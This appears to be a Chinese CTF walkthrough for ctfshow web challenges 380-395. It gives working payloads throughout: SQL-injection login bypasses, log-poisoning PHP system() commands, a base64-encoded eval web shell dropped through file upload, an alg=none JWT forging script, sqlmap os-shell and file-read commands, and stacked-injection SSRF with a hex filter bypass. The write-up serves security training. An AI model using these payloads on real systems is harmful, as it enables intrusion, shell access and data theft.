文章目录
- web380
- web381
- web382
- web383
- web384
- web385
- web386
- web387
- web388
- web389
- web390
- web391
- web392
- web393
- web394、395
web380
目录扫出来了page.php
$id应该是传的参数,是php的文件名
page.php?id=flag
访问源码拿到flag
web381
就是这个目录
/alsckdfy/
访问就是flag
web382
/alsckdfy/ 继续访问这个目录
万能密码直接登录进去就是flag
1' or 1#
admin'#
1'||1#
web383
同上
web384
密码前2位是小写字母,后三位是数字
就是单纯爆破密码
xy123
web385
/install
/install/?install
/alsckdfy/
admin admin888
web386
/install/
访问/install/lock.dat
会把这个文件下载下来 ,啥也没有
现在的目的应该是删除这个lock.dat然后重置密码
扫描后台发现clear.php
这里传入什么参数也是靠黑盒来猜了,用file参数
web387
robots.txt存在/debug
访问/debug
依旧是传入file参数
可以顺利执行文件
/var/log/nginx/access.log
日志包含 UA传入命令
这里无法传参但是可以顺利执行命令
/debug?file=/var/log/nginx/access.log
<?php system('cat /var/www/html/alsckdfy/check.php>/var/www/html/1.txt');?>
用这个payload来读check.php 其实flag就在这里
还有方法是通过 unlink命令来删除lock.dat与上题思路一样
<?php unlink('/var/www/html/install/lock.dat');?>
web388
/alsckdfy/editor/
下有个编辑器 有上传文件的功能
上传一个txt 来执行生成shell文件的命令
<?php
system('echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==" | base64 -d > /var/www/html/shell.php');
?>
得到文件路径
/alsckdfy/attached/file/20230127/20230127140156_81482.txt
执行文件
/debug/?file=/var/www/html/alsckdfy/attached/file/20230127/20230127140156_81482.txt
成功生成shell.php
源码里有flag
使用387的方法 日志包含也是可以
web389
访问/debug 显示无权限,多了个jwt
是有密钥的 123456
sub 修改成admin后可以顺利访问了
也可以用脚本生成无密钥的jwt
import jwt
# payload
token_dict = {
"iss": "admin",
"iat": 1632908199,
"exp": 1632915399,
"nbf": 1632908199,
"sub": "admin",
"jti": "71b84b8a5c0a43a2e13822a0f9b0b09e"
}
# headers
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, key='',headers=headers, algorithm="none")
print(jwt_token)
其他与388一样
web390
page.php?id=1
存在注入点 直接sqlmap梭了
os shell 梭
sqlmap -u http://4c9af2c3-b8a1-45ae-b2fb-efb2df866166.challenge.ctf.show/page.php?id=1 --os-shell
或者直接读文件
sqlmap -u http://4c9af2c3-b8a1-45ae-b2fb-efb2df866166.challenge.ctf.show/page.php?id=1 --file-read /var/www/html/alsckdfy/check.php --batch
成功会将文件保存在本地
web391
搜索框这里有注入
/search.php?title=1
sqlmap -u http://6f0aee0f-3618-44bf-84fe-2c2a5ca2ed88.challenge.ctf.show/search.php?title=1 --os-shell
web392
同上
web393
search.php的注入点,跑不出os-shell
和--file-read
的
页面下方有个搜索引擎
点进去后直接就是一个百度搜索, ink.php?id=4
这里是不是存在注入 sqlmap没跑出来
search.php的注入点 去跑数据库
sqlmap -u http://94520176-d91c-4e45-8f53-206a179b60f7.challenge.ctf.show/search.php?title=4 --current-db
sqlmap -u http://94520176-d91c-4e45-8f53-206a179b60f7.challenge.ctf.show/search.php?title=4 -D 'ctfshow' --tables
sqlmap -u http://94520176-d91c-4e45-8f53-206a179b60f7.challenge.ctf.show/search.php?title=4 -D 'ctfshow' -T 'link' --columns
link表里的第三个字段是url,也就认为是搜索引擎那里跳转的url
这里可以利用ssrf可以添加跳转页面即url字段,比如添加file:///flag
访问这个页面时就可以读取/flag文件
在search.php这里使用堆叠注入来实现向link表中添加url,我们已知三个字段,并且id控制选择页面
/search.php?title=1';insert into link values(99,'flag','file:///flag');
然后访问
web394、395
与上题一样,不一样的点在于这题将file字符ban了,可以利用16进制0x绕过
flag的位置在/var/www/html/alsckdfy/check.php
search.php?title=1';insert into link values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);
/link.php?id=10
方法二
尝试使用gopher工具生成payload 打redis
但是没成功
预期解
是和388一样